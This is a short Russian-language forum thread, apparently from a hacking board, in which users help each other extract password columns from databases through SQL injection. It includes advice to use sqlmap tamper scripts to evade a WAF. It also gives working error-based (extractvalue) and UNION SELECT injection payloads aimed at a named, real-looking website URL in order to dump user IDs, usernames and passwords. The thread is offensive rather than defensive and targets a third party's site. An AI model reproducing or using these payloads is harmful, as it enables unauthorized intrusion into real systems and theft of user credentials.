![]() |
Здравствуйте,такая проблема,из таблицы выводятся данные,но не все,которые мне нужны т.е. допустим email я вывести могу,а password нет,подскажите,с чем это связано? Не в первый раз уже такое замечаю. Причём без разницы как я пытаюсь вывести,прямым запросом или через sqlmap,результат один. Вывожу из бд,в которой я нахожусь в данный момент+если email выводится,то по идее доступ к таблице есть,или же можно как то ограничить доступ к полю?
|
Цитата:
думаю что при грамотном разграничении доступа к полям можно усложнить жизнь атакующим, тоесть например если ты даже найдёш sql инъекцию в скрипте news.php то не сможеш прочитать поле password т.к. в скрипте news.php незачем обращаться к полю password и доступ к нему ограничен, обращаться к данному полю например можно только из скрипта login.php и следовательно чтобы прочитать поле password нужно искать sqlinj в скрипте login.php. Но на практике лично я такого разграничения почти нигде не встречал А вообще можете подключить tamper скрипты в sqlmap и попробовать прочитать поле с их помощью, мож там waf какой-нибудь стоит |
Цитата:
|
вот например не дампится sqlmap'ом http://www.sedimental.com/catalog/index.php?ID=67 .
в чем причина ? есть решения ? |
Цитата:
|
оО , спасибо ! запрос "67' and extractvalue(0x0a,concat(0x0a,(select concat_ws(0x3b,ID,user,password) from users limit 0,1))) or 1='1"
стандартен на подобного вида ошибку или индивидуально подбирается для каждого сайта ? |
Цитата:
|
Цитата:
И да, error based в данном случае излишен. Код:
http://www.sedimental.com/catalog/index.php?ID=-67' union select 1,2,version(),4,5,6,7,8,9,0,11,12,13,14,15,16,17 -- 1 |
| Время: 15:40 |